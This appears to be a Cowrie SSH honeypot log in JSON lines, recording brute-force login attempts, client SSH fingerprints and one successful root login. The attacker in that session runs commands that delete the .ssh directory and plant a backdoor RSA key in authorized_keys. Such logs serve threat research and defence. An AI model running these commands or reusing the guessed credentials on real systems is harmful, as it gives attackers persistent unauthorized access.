{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:22:07.440632Z","src_ip":"103.153.254.168","session":"163980847436","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":56244,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac4864f0b544","protocol":"ssh","message":"New connection: 45.79.127.249:56244 (159.203.135.109:22) [session: ac4864f0b544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:23:16.075832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:23:16.079773Z","src_ip":"45.79.127.249","session":"ac4864f0b544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:23:16.285043Z","src_ip":"45.79.127.249","session":"ac4864f0b544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pancakeswap","password":"pancakeswap","message":"login attempt [pancakeswap/pancakeswap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:23:16.700045Z","src_ip":"45.79.127.249","session":"ac4864f0b544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:23:17.908534Z","src_ip":"45.79.127.249","session":"ac4864f0b544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.115","src_port":37648,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2a95c978033","protocol":"ssh","message":"New connection: 80.94.95.115:37648 (10.17.0.5:22) [session: e2a95c978033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:24:02.353259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:24:03.123722Z","src_ip":"80.94.95.115","session":"e2a95c978033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:24:03.219573Z","src_ip":"80.94.95.115","session":"e2a95c978033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"array","password":"admin","message":"login attempt [array/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:24:04.136650Z","src_ip":"80.94.95.115","session":"e2a95c978033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:24:05.548022Z","src_ip":"80.94.95.115","session":"e2a95c978033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":50262,"dst_ip":"10.17.0.5","dst_port":22,"session":"8daa98d8db1e","protocol":"ssh","message":"New connection: 103.153.254.168:50262 (10.17.0.5:22) [session: 8daa98d8db1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:24:16.929494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:24:16.935011Z","src_ip":"103.153.254.168","session":"8daa98d8db1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:24:17.201984Z","src_ip":"103.153.254.168","session":"8daa98d8db1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john@123","message":"login attempt [john/john@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:24:18.288589Z","src_ip":"103.153.254.168","session":"8daa98d8db1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:24:19.564565Z","src_ip":"103.153.254.168","session":"8daa98d8db1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":53984,"dst_ip":"159.203.135.109","dst_port":22,"session":"797ab4e584df","protocol":"ssh","message":"New connection: 64.176.195.200:53984 (159.203.135.109:22) [session: 797ab4e584df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:25:51.448382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:25:51.452269Z","src_ip":"64.176.195.200","session":"797ab4e584df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:25:51.456826Z","src_ip":"64.176.195.200","session":"797ab4e584df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"piratechain","password":"piratechain@","message":"login attempt [piratechain/piratechain@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:25:51.467553Z","src_ip":"64.176.195.200","session":"797ab4e584df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:25:52.474809Z","src_ip":"64.176.195.200","session":"797ab4e584df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":58424,"dst_ip":"10.17.0.5","dst_port":22,"session":"387c3fefbb3c","protocol":"ssh","message":"New connection: 103.153.254.168:58424 (10.17.0.5:22) [session: 387c3fefbb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:26:23.694774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:26:23.699236Z","src_ip":"103.153.254.168","session":"387c3fefbb3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:26:23.969345Z","src_ip":"103.153.254.168","session":"387c3fefbb3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cristina","password":"12345678","message":"login attempt [cristina/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:26:25.092435Z","src_ip":"103.153.254.168","session":"387c3fefbb3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:26:26.364193Z","src_ip":"103.153.254.168","session":"387c3fefbb3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":38346,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c1d03918c12","protocol":"ssh","message":"New connection: 103.153.254.168:38346 (10.17.0.5:22) [session: 8c1d03918c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:28:20.985158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:28:20.991046Z","src_ip":"103.153.254.168","session":"8c1d03918c12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:28:21.265906Z","src_ip":"103.153.254.168","session":"8c1d03918c12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mark","password":"markpassword","message":"login attempt [mark/markpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:28:22.364204Z","src_ip":"103.153.254.168","session":"8c1d03918c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:28:23.647341Z","src_ip":"103.153.254.168","session":"8c1d03918c12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":46516,"dst_ip":"10.17.0.5","dst_port":22,"session":"181b76a7c0a7","protocol":"ssh","message":"New connection: 103.153.254.168:46516 (10.17.0.5:22) [session: 181b76a7c0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:25.712686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:25.716672Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:25.981581Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"@admin123","message":"login attempt [root/@admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:27.026599Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:27.605180Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:27.607445Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:27.610819Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:27.883775Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:28.508019Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:28.510804Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
